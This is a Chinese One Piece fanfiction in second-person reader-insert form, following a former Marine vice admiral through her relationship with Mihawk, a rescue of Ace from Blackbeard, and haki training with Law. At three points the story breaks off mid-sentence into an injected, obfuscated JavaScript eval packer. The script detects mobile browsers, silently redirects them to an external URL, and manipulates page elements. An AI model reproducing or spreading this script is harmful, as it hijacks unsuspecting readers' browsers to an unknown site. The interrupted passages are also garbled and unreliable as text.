说起来,米霍克从救你到现在照顾你,都没和你提过报酬。一般人会对见过几次的陌生人做到这种程度吗? 只要这么想,你似乎就能说服自己了,因害羞而移开的视线,也能正视坐在对面的人了。 “那我接受你的话,你会帮我吗?” 说出这句话时,你已经后悔了。不管米霍克答应与否,现在的你都是在走本部时的旧路。 你等米霍克拒绝你的同时,也希望他能答应你,天使和恶魔形态的两个小人在你脑海里拉扯,直到注视着你的米霍克回以你肯定答复。 “会。” 没有拐弯抹角,米霍克毫不掩饰他对你的兴趣。反倒是向他提出要求的你,被他的回答弄得脸红心跳。 你分不清加速的心跳是为自己重蹈覆辙而羞愧,还是被米霍克直白炙热的情感所烧伤。 不,不应该如此,这片大海上会这么喜欢的你应该只有以藏。像是找到了主心骨,你语气坚定地驳回了米霍克的话。 “不对、我有什么值得你这么做?现在的我不是中将了,也没有办法送你红酒和钱,还弱不经风。” “...我有什么值得被你在意?” 说到后面,你被自己的话戳伤了。而坐在你对面的米霍克没有打断你,确认你说完了想说的话后,难得笑了起来。 米霍克的笑声让你感到不安,他看向你的眼神却看不出一丝笑意。 “你在怕什么?” “想要利用我,又害怕无法承担后果。如果是这样,你不如回白胡子海贼团,永远别下船。” “没有足够的实力,你只能在掠夺者和被掠夺者间做被掠夺的那个。” 不愧是阅历比你丰富的海贼,句句都说到你的心坎上。 正是因为你对自己的实力有清醒的认知,你选择利用库赞的情感获取更强有力的能力。也是因为你对白团和待过几个月的海军有情感,你才会在两者间感到矛盾和难过。 现在想利用米霍克也是,因为眼前你能接触到的、利用的存在只有米霍克。 或许你不是一个合格的海贼,总会为自己做过的事懊悔和忏悔。就像现在,又哭得看不清视野。 与此同时,本该坐在对面的米霍克来到你身旁,半蹲着与你的视线保持同一水平线。 “你真的很爱哭。” 你也是这么觉得的,在白团待了二十一年,你哭得频率也没在米霍克面前的多。即使如此,你还是没放弃让米霍克帮你的事。 “所以...你会帮我吗?” “这取决你能给我什么。” 显然,这是米霍克对你设下的圈套。他都说了想要了什么,这是一道单选题。 单选就单选吧,反正你也不会失去什么,还会得到更多。 从你选择做海军时起,你就无法回头了。 26.监护人 你和米霍克确认关系后,两人的相处模式没有很大的变化。唯一不同的,就是一个人睡总做噩梦的你搬到米霍克的房间住。 也不知道是心理作用还是米霍克给你的感觉过于安全,身旁有个人后,你就没做过噩梦了。 除此之外,米霍克也指导了你的剑术。但他直白的告诉你,你没有学剑的天赋,他教你的都是入门基本功。 于你而言这不算事,你的目的只是锻炼自己的同时学多点东西。 “用你的武装色缠住它。” 你应下米霍克的要求,用武装色缠住了木剑,在米霍克漫不经心的攻势中防守和反击。看似有来有回的对练,在米霍克的“太慢了”画下句号。 “勉强及格,加强下锻炼武装色能更结实。” “反应勉强及格,见闻色用的有点少。” 累到动不了的你被米霍克扛着回城堡,听他替你做的总结。精神和□□都疲惫的你默默记下了米霍克说过的话,也告诉米霍克你的感想。 “米霍克的声音很好听。” 扛着你往城堡里走的米霍克应声定住,随后在你臀部落下一掌,猝不及防被打的你吓得叫出了声。没等你谴责米霍克偷袭的行为,含笑的男声在耳边响起。 “你的也不错。” 任你再迟钝也知道,米霍克这是在回敬你牛头不对马嘴的感想,还有捉弄你的意味。 果然,看似正经的米霍克也和所有交往过的男人一样恶劣。说到底,男人的恶劣因子是不分职业的。即使如此,你还是要回敬他一句。 “...流氓。” 可惜你说话的底气不足,听上去就像在和米霍克调情。 - 你看着倒映在镜中的自己,被刺伤的地方已经淡了很多,但还是能看出和原有的皮肤的不同。除此之外,你当海军时身上也多了很多细微的痕迹。 但其他的痕迹再多,也比不过蒂奇的三刀。知道它们来历的以藏会怜惜地亲吻你身上的伤口,心细谨慎的库赞虽不问你来历,却会在两人亲近时若有所思地用指腹轻抚着。 米霍克的反应也不同。 “谁做的。” 黄玉般的双眸凝视着淡化的刀口,眼底的情绪让你捉摸不透。你和米霍克不是敌对立场,你没有掩盖的理由。 “蒂奇。” 听到熟悉的名字时,停在你身上目不转睛的双眸眨了下眼,粗粝的指腹拂过心脏附近的疤痕。 “只差一点。” 你知道,米霍克说的是蒂奇下手至你于死地的程度。现在想来,那晚除了你躲得快,蒂奇估计也有一丝犹豫吧。 “估计是第一刀时还有点犹豫该不该杀我吧。再怎么说,也是一起生活过的同伴。” “要是第三次对上,大概要死一个吧。” 所以你要变强,至少能在第三次撞上蒂奇时向他报这三刀的仇。要是怎么锻炼都做不到...你不介意呼朋唤友用充满私情的围殴找回场子。面对你轻描淡写的猜想,温热的唇落在你的眼角。 “你太弱了,还爱哭。” 于米霍克而言,你的实力确实不够看,这没什么好失落的。但后面半句...说你爱哭,把你弄哭时倒是不手软。 “所以再遇到蒂奇时,你会帮我吗?” 你搂着米霍克的后颈,用甜腻的语气将话题引向你想要的结果。米霍克也如你所愿,给了你满意的答复。 “会。” 交谈止于落在唇上的温热,这是米霍克不愿再和你谈论其他人的信号。不过也是,哪有恋人会愿意在亲热时讨论其他人的呢? 情到深处时,你想起了米霍克说你爱哭的事。 “你讨厌我哭?” 抽空替你拂去眼角的泪的米霍克笑了。 “看情况,现在除外。” 解开疑问的你感到脸上一阵燥热,用同一个词谴责米霍克的行为。 “...流氓。” - 规律的作息和生活也会有例外,突然到访的红发海贼团就是你和米霍克的例外。当时你还在看书,你在见闻色上的练习还没有米霍克的熟练,也知道有人来岛上了。 你看向看报纸的米霍克,后者合上看完的报纸放在台上,告诉你上岛的人是谁。 “是红发。” 听到香克斯的外号时,你怔了半晌,才把“红发”和见过两面的香克斯联系起来。你把书签夹在看到的那页,从混乱的脑中挑出最显眼的问题。 “需要我回避吗?” 一瞬间,你看到了米霍克眼底里的无奈。 “不用,来送酒的。” 面对米霍克的无奈,你讪笑着和他道歉。 香克斯确实是来送酒的,也知道米霍克这里还有第二个人。但看到你时,红发海贼团一行人都怔住了。还是和以藏比较熟的耶稣布叫出你的名字,其他人才把你和前几年见过的你对上号。 “原来米霍克最近不怎么出海是因为你啊!” 香克斯的话让你想起了米霍克确实不怎么出海的事。你不清楚在你来之前,他出海的频率是怎么样的。但你到这之后,七武海的定期会议好像也没见他去。 不等你想通这之间的逻辑,被戳穿心事的米霍克面不改色地向香克斯发起赶客邀请。 “放下酒就能走人了。” 但香克斯是谁?在老爹的船上都能喊着开宴会的四皇之一。 “别这样嘛!好不容易见一次面,还见到了熟人,开个宴会再走嘛!小的们,去船上拿东西开摆!” 香克斯一声令下,红发海贼团的人每个人的表情都不同,但还是听香克斯的话走向海岸拿东西了。 你看了眼身旁的米霍克,他一脸无奈。显然,米霍克已经习惯了。 作为城堡里唯二的存在,你也参加了宴会。相较于白团和红发一起开的宴会,只有红发和米霍克的宴会,你只能坐在米霍克的身旁。 虽说你很早就在白团生活了,但有很多话他们都会顾忌你在场不怎么说,和现在不一样。 他们聊酒,聊哪座岛又被攻下了来,聊哪里的女人让谁魂不守舍,想到什么就说什么。不过聊到一些和你有关的事时,倒是很自觉地换话题。 期间还聊到了米霍克和香克斯相识的事。你还挺好奇的,听得津津有味,还会随着香克斯说起往事时起伏的语气配合地追问和鼓掌。 见有了观众,香克斯讲得更起劲了,以至于在你一旁喝酒不说话的米霍克都拿外套罩住你。 “温度降下来了,别冷到了。” 你边听边把外套罩住自己,在香克斯调侃米霍克的笑声中挪动了位置,让自己离米霍克更近一点。 许是太久没参与这种活动了,也可能时夜晚的海风和篝火的温度差太大,困意在他们的交谈声中蔓延开来。 一直关注你状态的米霍克偏头在你耳边低语:“困了就回去睡。” 你摇头拒绝了米霍克的提议。习惯有人陪着后,你不想回到只有一人的城堡待着,也不想在只有自己一人的房间入睡。 一个人太寂寞了。 米霍克还想说些什么,想到什么的香克斯发起话题。 “说起来,‘火拳’艾斯在找你来着。” 适时提起的话题让你逐渐被困意占据的大脑清醒了不少,靠在米霍克肩上的你直起了腰板。 “艾斯在找我吗?” “对哦,前段时间不是还大闹了海军基地吗?” 你想起了报纸上的报道。现在想来,这一举动确实能把找你联系在一起。当然,艾斯饿了找吃的理由更充分点。 你还想向香克斯打听更多和艾斯相关的事,香克斯却转移话题,和米霍克聊起别的事了。 艾斯没去找蒂奇,你应该为此感到安心才对。可之前做的梦,让你无法说服自己。果然,你还是要去见一下艾斯,才能让自己安心。 宴会结束时,你找到了喝到醉醺醺的香克斯,询问他是否有找到或联系艾斯的方法。上一秒还醉得站不稳的香克斯,迷离的双眸因你的问题变得清醒。 “你想找他?” “总不能让他像无头苍蝇一样乱转。” 不管你回不回去,你也该让艾斯安心,也该让老爹他们安心。 闻言的香克斯看了眼离你们不远的米霍克,带着捉弄意味的调侃你和米霍克的关系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你也不想失去年轻美丽的恋人吧?” 看着你演完一场戏的米霍克发出一声叹息,你知道,这是他妥协的信号。 但他没让你走,而是将你抱起,让你面对着他坐在他的腿上。 “可以,但你要跟我回来。” “你需要我。” 这倒是没错,你需要米霍克,他是强有力的帮手,也是很不错的恋人。 可你也不能一直在他的包围圈下活着,这只会让你越发依赖他罢了。所以,找到艾斯后你要想办法和米霍克分手。 当然,现在你需要顺着米霍克的话说下去。 “我知道了,我会跟你回来的。” 你说着,朝米霍克回以温顺的笑容。 - 米霍克知道你不会跟他回来,所以把你带回去需要一定的手段。但他没想到,你刚到第一个岛就把他药倒,连夜用岸边的船走了。 药是怎么来的他不想知道,他只觉得心累。你是变强了没错,可现阶段的你很难在海上生存,你是需要他的。 仅凭一张生命卡和些许贝利,你要怎么在这片大海生存? 香克斯调侃他是你的“监护人”,这话说的没错,他确实很在乎你。 你很脆弱,对练时没用武装色防住就会受伤,留在你身上的淤青都要花上几天才会散去。会在他弄疼你时哭上一会儿,也会在看到不如愿的结局时落泪。 你需要人保护,需要一个庇护。稍有不慎,就会落入掠夺者的圈套,被吃得骨头都不剩。 掺杂着欲和爱的保护欲,剥开伪装的包装,底下是他对你的占有欲。 所以,他愿意帮你,愿意被你利用,可以无视掉你的前任。与此同时,他也不断提醒你,你需要他。可他做这些的前提,是你处于他的保护范围里。 现在看来,或许他才是需要你的一方。 你可以抚平他对世俗的倦意,用温情和微扬的嘴角将他平静如水的心湖搞得天翻地覆。 所以,他原谅你不辞而别的行为。 作为交换,下次见面他不会让你再有机会逃走。 “活下去吧。” 只有这样,他才有机会再将你保护起来。 27.交易 幸运的是你找到了艾斯,不幸的是艾斯遇到了蒂奇,且你找到艾斯时,他们正准备把昏迷的艾斯带走。 没想到会再遇到你的蒂奇先是为你的出现感到诧异,随后急忙确认你周围的情况。确认你身边没有其他人后,蒂奇笑了。 “怎么不带男人过来了?” 熟稔的语气仿佛你们还是同一条船上的伙伴,如果能忽略掉蒂奇的匕首和你的指枪。 “毕竟是来见男人的。” 你扶着昏过去的艾斯,思考着用什么方法从蒂奇的包围圈逃出去。陆地的情况不比海上的好,无法用冰和火打配合。最有用的应该是老爹的能力,但能力过后的副作用会很麻烦。 思考过后,第二有用的竟然是海军六式。如果能带着艾斯成功逃脱,你一定要给卡普寄一封感谢信。 一个人的能力是有限的,即使你勉强用月步带艾斯逃了一段路,在陆地没有船的你们也很难逃出去。 “做个了结吧萨拉!” 一时不查,被你用来遮挡蒂奇一行人视野的树林让你可视的范围也缩小了,以至于左眼挨了蒂奇一刀。 被伤到的左眼很痛,你祈祷这刀没伤到眼球。虽然不管有没有伤到眼球,你的左眼一时半会儿派不上用场了。 期间艾斯有一瞬时清醒的,你没听到他说什么,抽空安抚了他一句。 “安心吧,我和你都会逃出去的。” 说是这样,你已经在考虑把艾斯藏起来和蒂奇他们拼命的事了。你能感觉到自己的手在抖,背后的艾斯呼吸越发微弱。 又被追上了,好在制造冰墙的速度比子弹快,不然一颗子弹就能带走两条命。 即使如此,被包围的情况还是没变化。有了上次的经验,蒂奇一行人不敢离你太近,都在一旁伺机而动。 打破僵局的是冲入包围圈大喊“艾斯”的草帽小子路飞,还有不知为什么和他一起的甚平。 不管怎么样,多两个战力总比你一个人可靠。 “橡胶手枪!” “五千枚瓦正拳!” 强有力的帮手和急速升高的肾上腺让你忘掉了疼痛,见缝插针地攻击蒂奇一行人。 你们三人和蒂奇一行人陷入混战,双方的情况都不算好。好在甚平有独特的优势,你们才能从混乱的战局中脱离。 当你从昏迷状态醒来时,看到的是昏迷前不在场的雷利。 “别乱动。虽然你受伤的程度不像路飞和艾斯,但伤的也不轻。” 你缓了好一会儿,才调整好乱成一团的大脑。左眼被包住了,你只能用右眼去看东西。看来一圈,周围有认识的,也有不认识的,你发现这里没有艾斯和路飞的影子。 “他们呢?” “还是昏迷状态,但没有大碍。” 说话的是被誉为“极恶时代超新星”的其中一员,你记得他,是特拉法尔加·罗。 一旁的甚平和你说起了你昏迷后的事。甚平带着你们脱离了战场,并在附近遇到了罗的海贼团勉强得救,再到后来是担心路飞跟着找来的雷利。 而你们现在是在汉库克管辖的岛上休息。虽然过程比较波折,但大家都活着就是万幸。 “这样啊...活着的感觉真不错。” 算下来,这是你第三次和蒂奇交手,从他手下逃出来了。可惜,你醒来没多久,你们就要从女儿国转移阵地了。 转移阵地时,甚平告诉你,他等艾斯醒来就带他回白团,让你也一起回去。 你看着躺在担架上昏迷的艾斯,被包住的左眼隐隐作痛。按照你对艾斯的了解,要是他知道你的伤是因为救他才有的,大概会闹得很厉害吧。 “跟我回去吧,萨拉。老爹他们都很担心你。特别是——” 赶在甚平说出特定的人名前,你打断了甚平要说的话。 “我还是不回去好了。” “总觉得蒂奇抓艾斯的事有蹊跷,而且我和蒂奇也有恩怨,回去会给大家添乱的。” 奇怪的地方太多了,这让你越发害怕噩梦里的事。 深知你说的话是有理有据的,甚平以退为进。 “不管怎么样,你该给老爹他们打个电话。从你出海到现在,老爹他们都等你电话啊。” 说到这个你就觉得怪尴尬的,在甚平的询问下,你交代了电话虫的去向。听完全程的甚平有点无奈,坐在一旁吃瓜的红心海贼团也觉得神奇。 佩金:“第一次听说出海靠蹭船的。” 夏其:“与其说时是蹭船,更接近抢船。” 贝波:“那怎么成海军前中将了?” 佩金/夏其:“这件事和上面的完全没有关联吧!” 被吐槽的贝波低下头,沮丧地说了句“对不起”,两人一熊的互动把你逗笑了。你一笑,脸上的肌肉就扯到左眼的肌肉。 “好、好痛...医生,我的眼睛还有救吗?” 你又笑又哭的向一旁的罗求助,罗看向你的眼神有嫌弃,也有几分无奈。 “没伤到眼球,但不保证不留疤。” 安心了。有没有疤不是问题,只要眼睛还能看见东西就行。 在罗替艾斯和路飞配好之后的药后,他们准备离开了。甚平问你之后的打算,并在你和他说之前透露了马尔科和以藏在路上的事。 是先斩后奏。 “我看错你了,甚平。” 面对你的谴责,甚平笑得很爽朗。 “毕竟能管的住的你就他们两个了。” 不行,你现在这个样子绝对不能见他们,见到一定会被骂得狗血淋头的,估计之后也不会让你下船。以防这种情况出现,你把目光投向站在一旁打量着你和甚平的罗身上。 看热闹后知后觉的罗表情微怔:“你、” “载我一程吧,罗医生。” - 介于各种因素,罗还是让你上船了。红心海贼团的船是潜水艇,这个发现令你觉得很有趣。还没等你欣赏完内部的构造,罗就向你发出赶客令。 “萨拉当家的,你要在哪下船?” 很遗憾,你上船是为了不回去,至于目的地还是未知。 “暂时没想到在哪下船。但你放心,打架打杂都能算我一个。” 罗的表情很阴冷。你合理推测,要是没有白团的关系,他估计就要把你踢出去,让你被海水淹死。 要论能力外的实力的话,可能被按进海里淹死的会是罗。 于是,你就在红心海贼团里帮忙打杂了。作为现阶段唯二的女性,你自然是和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930405|160242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女船员住在一起。 露露是很开朗的一个人,不仅不介意你和她一起住,还主动带你参观潜水艇里的构造。面对露露的善意,你也回以她自己最好的态度。 红心海贼团的人都很有意思,会主动向你介绍自己的名字,也会关心你的伤势。 只有罗,自你上船后没给过好脸色给你看。但露露告诉你,罗基本都是这个表情,让你别放心上。作为有求于人的那方,你没有挑三拣四的资格。 而且你有一种预感,罗让你上船还有别的目的。果然,罗在晚餐后把你叫到他的房间,和你说明了他的让你上船的目的。 “我就直说了,我想做七武海。作为前海军中将,你应该知道我是什么意思。” 你知道七武海都是有名的海贼,实力也是排得上号的。目前你还不清楚罗的能力,无法给予他肯定答复。 “嗯...方法其实就是打响名气就行。不过你现在会霸气了吗?” 闻言的罗挑了下眉,没有回答你。见状,你用武装色霸气缠住右手,用现成的例子告诉他什么叫霸气。 “除此之外还有见闻色和霸王色,霸王色是少数天选之人才有的。” 罗听完了你的介绍陷入沉思。你觉得自己是没有教人的资格的,但接下来的海域,没学会霸气是很难生存的。 “我教你吧,作为你救了我和艾斯的‘医药费’。七武海的事也是,我协助你当上七武海的。” 还在琢磨怎么和你交涉的罗表情微怔,你一下子就把他想到的事全说了,但这些不可能是免费的。 “教我的条件,你不可能什么都不要白教我的。” 确实,要是一股脑把你会的都教给罗,别说他,你也觉得眼前的人别有所图。前提是要有东西可图,你能图的...有了。 “你教我用你的能力吧,我还没见过手术果实的能力。” “能力?” 解释起来太麻烦,你直接在指尖点起一小撮火花。确认罗看到后,把火花吹灭,又将你所坐的位置用冰封住。 经过海军和米霍克的打磨,这点程度的能力已经不会让你的身体感到难受了。 “刚才的是艾斯和库赞的能力,我的能力就是能复制其他能力者的能力。” 听完你解释的罗发出一声冷笑,你不知道他是高兴还是怎么样。但过程不重要,重要的是罗答应了。 “交易成立,萨拉当家。” 你点头,朝罗伸出手。后者看着你的手陷入沉思,随后伸出右手,和你握手。这就对了,礼节还是少不了的。 “很高兴和你合作,罗医生。” 听到关键词的罗表情不怎么好看,估计是犹豫了一会儿,还是向你表达了他对这个称呼的嫌弃之情。 “别叫医生,怎么说我也是海贼。” 想到悬赏令上的“死亡外科医生”,你觉得罗说的很有道理,果断改口换个称呼。 “好的,罗。” 你和罗的交易正式达成。可你没舍得走,目光还在罗的帽子上。 有黑色斑点看上去手感很好的帽子,你真的很想摸一下,就和贝波的肚子一样。 要问一下吗?想了想你和罗现在的关系,你觉得还是别问了,等你们熟悉后再问吧。 28.霸气 你并不会教人,所以你教罗使用武装色的教学,都是白团上的人教你时的法子。 半理论半实践的成果挺不错的,你想这和罗本身也有天赋有关。这不,他的手已经能缠上武装色霸气了,就是练度还差了点。 你看了眼时间,从缠上武装色到现在,罗维持这个状态有一分钟了,他的脸上也没有了平时的从容。直到武装色褪去,罗的脸上全是汗。 “擦擦吧。” 换做平时的罗,大概会挖苦你两句。但累得说话都没力气的罗就不会了,只是喘着粗气接过你的毛巾,糊弄地擦了两下就把毛巾搭在肩上。 看罗累得不成样子,你想了想,还是走到他身旁,拿起毛巾替他擦颈部的汗。大脑还在放空的罗没想到你会直接上手,当即出声试图叫停你。 “喂、我没让你做这些!” “我知道,你就当是我看不过你糊弄自己吧。” 没有体力使用能力的罗只能任你给他擦汗,期间少不了他对你的冷嘲热讽。经过这几天的相处,你已经能把罗冷嘲热讽的话自动屏蔽了。 “你再休息会儿,我去看一下晚餐的进度。” 把毛巾放在罗的肩上,你顺着来时的方向往回走。见你走了,坐在原地的罗才躺下。 罗不是没想过练这个没困难,但这么难还是头一次。偏偏你在教他时还说你是属于差生的那类。哪门子差生出手就烂岩石的? 挫败感是有的,这也变相说明他让你上船没错,你确实能给他想要的东西。 稍作调整后,勉强有力气的罗顺着你离去的方向走。 晚餐是咖喱,大家吃得很饱。负责做饭的厨师手艺不错,可你想念萨奇的料理了。 “怎么了,是晚餐不合口味吗?” 注意到你情绪变化的露露关切地问道。你摇了摇头,朝她回以微笑。 “我在发呆,没事的。” 闻言的露露想到了什么,伸手替你撩起挡住左眼的碎发,用温和的语气安慰你的心情。 “明天你的眼睛就能拆线了,再坚持一下吧。” “船长的医术很好,应该不会留疤的。” 经露露这么说,你才想起脸上还封着线。对于你左眼上的刀痕,你的心情很复杂。 之前你是觉得眼睛还看得见东西就不错了,可看到从眉毛划到眼圈长出的疤,你就不想照镜子了。 不疼,但看着膈应。见安慰没用,露露放下手中的餐盘,将你抱进怀里安抚。 “萨拉不仅强大,长得也好看,不要为这种事感到焦虑啊。” 露露的安慰听得你胸口泛起暖意,你学着她抱回去。 “我知道了,谢谢露露。” 也是,在这个拳头才是硬道理的世界,一条疤算什么,你身上还有好几条呢。 罗给你拆线时告诉你伤口恢复得不错,没什么意外连刀痕都不会有。你很高兴,然后保持着这种好心情继续监督罗按你的方法练习武装色。 “今天就试着撑到五分钟好了。” 想到昨天的一分钟,用武装色包裹住双手的罗面目狰狞。 “...你是恶魔吗?” 你笑而不语,在罗的怒视下开始计时。维持武装色固然是难,但总归是要用在战斗上的,你决定给罗上难度。 “光站着也很无聊,我们来对打吧,就用武装色。” 闻言的罗发出不敢置信的声音。 “哈?你真的会教人吗?” 回想起你刚学会武装色霸气被船上的人当打发时间的玩具玩的时期,你觉得你的教学还是很温和的。 所以罗的抗议没有用,换来的是你用武装色包裹住的拳头。他的反应已经够快了,练度不够的武装色还说在你的拳头擦过时破掉了。 “这可不行,你要保持住状态,不然被打到会痛的。” 分心听你说话的罗被你收拳的动作打到了,万幸的是你武装色收的早,不然罗的脸会很精彩。 已经分不清脸上的汗是被你随心所欲的动作吓得还是打的了,但抱怨的话还是要说的:“那你倒是在打之前就说啊!” 边打边说也是说,所以你说过了。 “我说过了。” “先斩后奏不算!” - 你教罗霸气的同时,他也教你怎么用手术果实的能力。罗的能力真的很有意思,不仅能和物体换位置,还能无痛切割,还能互换人格。 是看一眼就想全部学走的程度。但你真正能学到的,只有变换物体的位置和切割,互换人格大概是限定技能吧。 这也让你和罗对你的能力有了新的认知,自然系的能力可以学个大概,但超人系的能力需要满足一定的条件才能学成。 教了你大概的能力后,你和罗都因学的东西超纲躺在地上休息。许是精神和身体都过于疲惫,罗难得没有挖苦你,就你的教学方式吐槽。 “什么乱七八糟的教学,你是抱着玩乐的心态教的吗?” 这么说你就不乐意了。你是第一次教人没错,但态度是认真的。 “哪有,我很认真了。虽然是乱了点,但你维持武装色的时间长了啊。” 回想起刚才和你对打的画面,罗沉默了。确实,乱七八糟的对打比之前的进度要快。 “放心吧,这么练下去很快你就可以出师了。” 你是认真的,闻言的罗却发出一声冷笑。 “希望你说的很快不是两年后。” 两年这个数字让你瘆得慌。你离开白团一年就嫌长了,再在罗这里待两年,这样真的不会有问题吗? 想开点,可能两个月罗就把你放生了。 在此之前,你应该能摸上罗的帽子吧?现在你和罗的关系也好了不少,提出请求应该不会被拒绝吧? 你清了清嗓子,决定试一下。 “在你出师前,我能摸一下你的帽子吗?” 闻言的罗第一反应是你终于露出真面目了。在你上船时,他就注意到你的目光总是落在他的帽子上。 把他压着打还让你摸?不可能。 “不行。” 被拒绝的你没有灰心。 “那我下次再问问。” “下次也不行!” - 罗掌握武装色的效率很高,见闻色霸气的进度一般。但三种霸气其实都需要天赋,至于怎么才算有天赋,你也不清楚。 就这点,佩金提议让你动真格和罗打一场就知道了。你觉得这个方案可行,就和罗去沙滩试试身手。许是这座岛上的娱乐场所太少,红心海贼团就你和罗的战斗设了赌注。 佩金:“我赌船长赢。” 夏其:“我跟。” 贝波:“我也是。” 还没开打的你和罗看他们全部压罗赢时,半年都在斗嘴的两人难得同调了。 “干脆别赌了。” 全压一个人赢,那还有赌的必要吗?你觉得这不算赌局,便把全副身家压自己。然后压罗的红心海贼团全军覆没,因为你靠能力险胜一筹。 当然,你还是把这些钱花在了红心海贼团的伙食上。钱而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932150|160242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已,从港口同行那里拿多少都有。 佩金:“有时候真的庆幸萨拉不是敌人…” 夏其:“是啊,要是敌人感觉会被掏空所有身家。” 再一次见证你对同行下手的两人瑟瑟发抖,你则是抱着贝波毛茸茸的肚子治愈自己。 被你抱住的贝波不敢乱动,只能向罗投去求助的目光。半年里无数次怀疑自己判断的罗揉了揉发涩的太阳穴,用能力把贝波和路边的石子互换了位置。 “贝波不是玩偶,给我注意点。” 失去毛茸茸手感的你很难过,但罗说的也是事实,你没精打采地应下了罗的话。 “我知道了。” 当然,下次有机会你还是会这么做就是了。 - 霸气的练习固然重要,但罗在练习霸气的同时,也在到处收集信息。你问他要做什么,罗打量了你很久,似乎在估量你对他的价值。 你想收回说过的话时,罗一改往常冷嘲热讽的态度,和你说起了他的计划。 “我想打败凯多。” 凯多?你对凯多的了解仅限于和之国的是他管辖的地域,还有艾斯曾和老爹说过要打败凯多的事。你的思绪还在凯多和认识的人的联系上,罗就着这个话题继续往下说。 “你要和我联手吗?” “我不好说,你也知道的,我的实力就这样。” 目前还勉强能压着罗打,但再过一年半载就说不定了。有什么比教会徒弟饿死师傅更悲伤的?有的,就是徒弟不承认你是师傅。 但和之国是以藏的故乡,你对这个国家的兴趣比打倒凯多的兴趣更大。 “去和之国可以算我一个,打倒凯多我就不敢打包票。” 你对于自己的实力还是有一定的认知。蒂奇都不一定打得过,凯多就更别说了。万幸的是罗没说要打倒老爹,不然他说出口时你就得对他下手了。 而罗的关注点是你把他的潜水艇当商船用。 “你把海贼船当给钱就能出发的商船吗?” 面对罗的吐槽,你回以不失礼貌又气人的弧度:“我可以不给钱。” 太多槽点可以下口了,以至于罗不想和你继续讨论这个话题。 但刚才的对话打消了罗对你的错误认知。你不图财不图名誉,却在海军本部干到了中层,这件事他还是挺好奇的。 之前不认识不好问你,现在的关系,应该能问了吧?抱着试探的心态,罗问出了他在意的话题。 “有件事我很好奇。” “什么?” “你当海军的原因。” 罗的话题让你怔在原地。当海军是不久前的事,但经历了太多,你似乎想不起当时必须当海军的原因了。 你沉默的时间过长,长到罗都想换一个话题时,你想起来了。 “因为塞拉,一个活不久的女孩。” 塞拉? “她是你什么人?” “救过我的陌生人。她想当海军,就把我当成未来和她一起当海军的同伴了。” “为了报答她对我的救命之恩,我就去当了几个月海军。她不在后,我就辞了海军不干了。” 再次说起塞拉的事时,你已经能把现在的自己和当时还是海军的自己当两个人看待了。而主动发起话题的罗若有所思地看着天上的月亮。 “你的脑回路果然新奇。” 换其他人你就武装色巴掌伺候了。罗的话,算你半个弟子可以勉强原谅。 “看在今晚的月亮还不错的份上,我就当你夸我了。” 29.担心 新世界的海域很大,每个岛都有实力强劲的海贼。但你和罗都不担心,强和弱都没关系,能拿到想要的情报和钱就行了。 佩金一行人被罗派去购买下次航行需要的食材,以及订待在岛上落脚的旅馆,你和罗则是在当地的酒吧打听和凯多相关的消息。 你和罗各点一杯酒,就这么坐在吧台前听周围人的交谈。罗已经认出坐在酒吧里的海贼上过悬赏令了,而理应也在悬赏令上,至今为止却没被悬赏的你,现在正摇着酒杯里的果酒发呆。 饶是和你相处快一年了,罗还是觉得你身上有太多疑点。 你明明是白团的人,身上却没有白团的纹身。期间白团的人没来找你,或许在他不知道的地方你有和他们联络吧。再来就是你黑吃黑的方式过于激烈,按理说在成为海军前就会被盯上了。 为什么至今都没有悬赏令? “你之前是怎么做到不被海军盯上的?” 你放下把玩的酒杯,告诉罗你没被海军盯上的小技巧:“因为我戴了面具。” 其中还有卡文迪许热衷出名的因素,解释起来太麻烦了,你选择省掉这个步骤。 罗觉得你在耍他,你的表情倒是认真的。 “...那不应该更显眼吗。算了,也不重要了。” 你们又陷入沉默,等着需要的目标出现。没过多久,带着一堆小弟的目标出现了,他正兴高采烈地和他的小弟们吹牛。 他说自己受到了多弗朗明哥的赏识,不出一个月就能当上干部。他的小弟也不怀疑他说话的真实性,一昧地赞同他说过的话。 “虽然我和多弗朗明哥没什么接触,但这种招摇的小弟,他真的会收吗?” 在你看来,不管是海贼还是海军,混得越高的人,越喜欢招些财不外露及有事不外说的人。换句话说,进来的那男怎么看都是打杂的。 为了不让其他人听到你们的对话,你凑到罗的耳边压低了声音。后者怔了几秒,才接上你的话题。 “有利用价值的人他都会压榨完价值再杀掉。” 说这话时,罗的脸上是对多弗朗明哥的厌恶。不,或许更接近憎恨?你的直觉告诉你,罗找多弗朗明哥的麻烦,私人情感的占比要比凯多的重很多。 但是罗没和你说过具体的事,你也很贴心地不去打听。 打杂海贼还在对他的未来做夸张的设想,直到他说起你:“之前上过报纸的那个中将倒不错,有机会就把她纳入收藏里好了。” 小弟A:“船长说的对,只有那样的女人才配得上你。” 小弟B:“库赞哪够我们老大帅气啊!” 小弟C:“听说那个女人还和鹰眼有点关系,不会是因为鹰眼才辞职的吧!” 近距离听人意淫自己的话题,这是很新奇的体验。罗看了你一眼,不知道是担心你会出手还是担心你。 你摆了摆手,示意罗别在意。 